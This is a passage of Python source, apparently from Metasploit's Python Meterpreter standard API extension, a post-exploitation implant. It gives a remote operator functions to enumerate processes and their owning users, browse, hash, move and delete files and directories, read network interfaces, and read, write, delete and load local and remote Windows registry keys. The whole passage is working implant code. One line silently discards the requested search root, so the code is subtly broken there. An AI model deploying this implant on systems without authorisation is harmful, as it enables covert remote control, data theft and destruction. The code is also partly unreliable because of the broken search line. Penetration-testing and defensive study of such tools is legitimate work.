if len(process) < 4:
break
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
return ERROR_SUCCESS, response
def stdapi_sys_process_get_processes_via_windll(request, response):
TH32CS_SNAPPROCESS = 2
TOKEN_QUERY = 0x0008
TokenUser = 1
k32 = ctypes.windll.kernel32
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
if not result:
return ERROR_FAILURE, response
while result:
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
if not proc_h:
proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
exe_path = (ctypes.c_char * 1024)()
success = False
if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
elif hasattr(k32, 'GetModuleFileNameExA'):
success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
dw_sz = ctypes.c_uint32()
dw_sz.value = ctypes.sizeof(exe_path)
success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
if success:
exe_path = ctypes.string_at(exe_path)
else:
exe_path = ''
complete_username = ''
tkn_h = ctypes.c_long()
tkn_len = ctypes.c_uint32()
if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
buf = (ctypes.c_ubyte * tkn_len.value)()
if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
user_tkn = SID_AND_ATTRIBUTES()
ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
username = (ctypes.c_char * 512)()
domain = (ctypes.c_char * 512)()
u_len = ctypes.c_uint32()
u_len.value = ctypes.sizeof(username)
d_len = ctypes.c_uint32()
d_len.value = ctypes.sizeof(domain)
use = ctypes.c_ulong()
use.value = 0
ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username))
k32.CloseHandle(tkn_h)
parch = windll_GetNativeSystemInfo()
is_wow64 = ctypes.c_ubyte()
is_wow64.value = 0
if hasattr(k32, 'IsWow64Process'):
if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
if is_wow64.value:
parch = PROCESS_ARCH_X86
pgroup = bytes()
pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
k32.CloseHandle(proc_h)
k32.CloseHandle(proc_snap)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_sys_process_get_processes(request, response):
if os.path.isdir('/proc'):
return stdapi_sys_process_get_processes_via_proc(request, response)
elif has_windll:
return stdapi_sys_process_get_processes_via_windll(request, response)
else:
return stdapi_sys_process_get_processes_via_ps(request, response)
return ERROR_FAILURE, response
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
if os.path.islink(dir_path):
del_func = os.unlink
else:
del_func = shutil.rmtree
del_func(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if os.path.exists(file_path):
os.unlink(file_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if has_windll:
path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
result = str(ctypes.string_at(path_out))
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_md5(request, response):
try:
import hashlib
m = hashlib.md5()
except ImportError:
import md5
m = md5.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
for root, dirs, files in os.walk(search_root):
for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
file_tlv = ''
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
else:
for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
file_tlv = ''
file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_separator(request, response):
response += tlv_pack(TLV_TYPE_STRING, os.sep)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_sha1(request, response):
try:
import hashlib
m = hashlib.sha1()
except ImportError:
import sha
m = sha.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif has_osxsc:
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
elif has_windll:
interfaces = stdapi_net_config_get_interfaces_via_windll()
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = bytes()
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
if 'flags' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
for address in iface_info.get('addrs', []):
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
if isinstance(address[2], (int, long)):
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
else:
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
return ERROR_SUCCESS, response
def stdapi_net_config_get_interfaces_via_netlink():
rta_align = lambda l: l+3 & ~3
iface_flags = {
0x0001: 'UP',
0x0002: 'BROADCAST',
0x0008: 'LOOPBACK',
0x0010: 'POINTTOPOINT',
0x0040: 'RUNNING',
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = list(iface_flags.keys())
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
responses = netlink_request(RTM_GETLINK)
for res_data in responses:
iface = cstruct_unpack(IFINFOMSG, res_data)
iface_info = {'index':iface.index}
flags = []
for flag in iface_flags_sorted:
if (iface.flags & flag):
flags.append(iface_flags[flag])
iface_info['flags'] = ' '.join(flags)
cursor = ctypes.sizeof(IFINFOMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFLA_ADDRESS:
iface_info['hw_addr'] = attr_data
elif attribute.type == IFLA_IFNAME:
iface_info['name'] = attr_data
elif attribute.type == IFLA_MTU:
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
interfaces[iface.index] = iface_info
responses = netlink_request(RTM_GETADDR)
for res_data in responses:
iface = cstruct_unpack(IFADDRMSG, res_data)
if not iface.family in (socket.AF_INET, socket.AF_INET6):
continue
iface_info = interfaces.get(iface.index, {})
cursor = ctypes.sizeof(IFADDRMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFA_ADDRESS:
nm_bits = iface.prefixlen
if iface.family == socket.AF_INET:
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
else:
if nm_bits >= 96:
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
elif nm_bits >= 64:
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
elif nm_bits >= 32:
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
else:
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
addr_list = iface_info.get('addrs', [])
addr_list.append((iface.family, attr_data, netmask))
iface_info['addrs'] = addr_list
elif attribute.type == IFA_LABEL:
iface_info['name'] = attr_data
interfaces[iface.index] = iface_info
return interfaces.values()
def stdapi_net_config_get_interfaces_via_osxsc():
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
entities = []
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
interfaces = {}
for key, value in values.items():
iface_name = key.split('/')[3]
iface_info = interfaces.get(iface_name, {})
iface_info['name'] = str(iface_name)
if key.endswith('IPv4'):
family = socket.AF_INET
elif key.endswith('IPv6'):
family = socket.AF_INET6
else:
continue
iface_addresses = iface_info.get('addrs', [])
for idx in range(len(value['Addresses'])):
if family == socket.AF_INET:
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
else:
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
iface_info['addrs'] = iface_addresses
interfaces[iface_name] = iface_info
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
if not iface_name in interfaces:
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
if not iface_type in ['Ethernet', 'IEEE80211']:
continue
interfaces[iface_name] = {'name': str(iface_name)}
iface_info = interfaces[iface_name]
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
iface_info['mtu'] = mtu
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
if hw_addr:
hw_addr = hw_addr.replace(':', '')
hw_addr = hw_addr.decode('hex')
iface_info['hw_addr'] = hw_addr
ifnames = list(interfaces.keys())
ifnames.sort()
for iface_name, iface_info in interfaces.items():
iface_info['index'] = ifnames.index(iface_name)
return interfaces.values()
def stdapi_net_config_get_interfaces_via_windll():
iphlpapi = ctypes.windll.iphlpapi
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
return stdapi_net_config_get_interfaces_via_windll_mib()
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
AdapterAddresses = ctypes.c_void_p()
SizePointer = ctypes.c_ulong()
SizePointer.value = 0
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
if AdapterAddresses.u.s.Length <= 72:
return stdapi_net_config_get_interfaces_via_windll_mib()
win_version = windll_GetVersion()
interfaces = []
pAdapterAddresses = ctypes.byref(AdapterAddresses)
while pAdapterAddresses:
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
pAdapterAddresses = AdapterAddresses.Next
pFirstPrefix = AdapterAddresses.FirstPrefix
iface_info = {}
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
if not is_str(iface_desc):
iface_desc = str(iface_desc)
iface_info['name'] = iface_desc
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
pUniAddr = UniAddr.Next
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
continue
prefix = 0
if win_version.dwMajorVersion >= 6:
prefix = UniAddr.OnLinkPrefixLength
elif pFirstPrefix:
ip_adapter_prefix = 'QPPIL'
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
iface_addresses = iface_info.get('addrs', [])
if address.sa_family == socket.AF_INET:
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
else:
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
iface_info['addrs'] = iface_addresses
interfaces.append(iface_info)
return interfaces
def stdapi_net_config_get_interfaces_via_windll_mib():
iphlpapi = ctypes.windll.iphlpapi
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
pdwSize = ctypes.c_ulong()
pdwSize.value = ctypes.sizeof(table)
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
return None
interfaces = []
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in range(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
continue
iface_info = {}
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
iface_info['index'] = addrrow.dwIndex
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
if ifrow.dwPhysAddrLen:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
if ifrow.dwDescrLen:
iface_info['name'] = ifrow.bDescr
iface_info['mtu'] = ifrow.dwMtu
interfaces.append(iface_info)
return interfaces
@meterpreter.register_function
def stdapi_net_resolve_host(request, response):
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
result = resolve_host(hostname, family)
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_resolve_hosts(request, response):
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
if family == WIN_AF_INET:
family = socket.AF_INET
elif family == WIN_AF_INET6:
family = socket.AF_INET6
else:
raise Exception('invalid family')
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
hostname = hostname['value']
try:
result = resolve_host(hostname, family)
except socket.error:
result = {'family':family, 'packed_address':''}
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
channel = meterpreter.channels[channel_id]
channel.shutdown(how)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_create_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
res_key = ctypes.c_void_p()
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_delete_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
if (flags & DELETE_KEY_FLAG_RECURSIVE):
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
else:
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_delete_value(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
while True:
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
tries = 0
while True:
name_sz.value = ctypes.sizeof(name)
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
if result == ERROR_MORE_DATA:
if tries > 3:
break
name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
tries += 1
continue
elif result == ERROR_NO_MORE_ITEMS:
result = ERROR_SUCCESS
break
elif result != ERROR_SUCCESS:
break
tries = 0
response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_open_remote_key(request, response):
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
result_key = ctypes.c_void_p()
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
if (result == ERROR_SUCCESS):
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_class(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_data = (ctypes.c_char * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
value_type.value = 0
value_data = (ctypes.c_ubyte * 4096)()
value_data_sz = ctypes.c_uint32()
value_data_sz.value = ctypes.sizeof(value_data)
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
if result == ERROR_SUCCESS:
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
if value_type.value == winreg.REG_SZ:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
elif value_type.value == winreg.REG_DWORD:
value = value_data[:4]
value.reverse()
if sys.version_info[0] < 3:
value = ''.join(map(chr, value))
else:
value = bytes(value)
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
else:
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
return result, response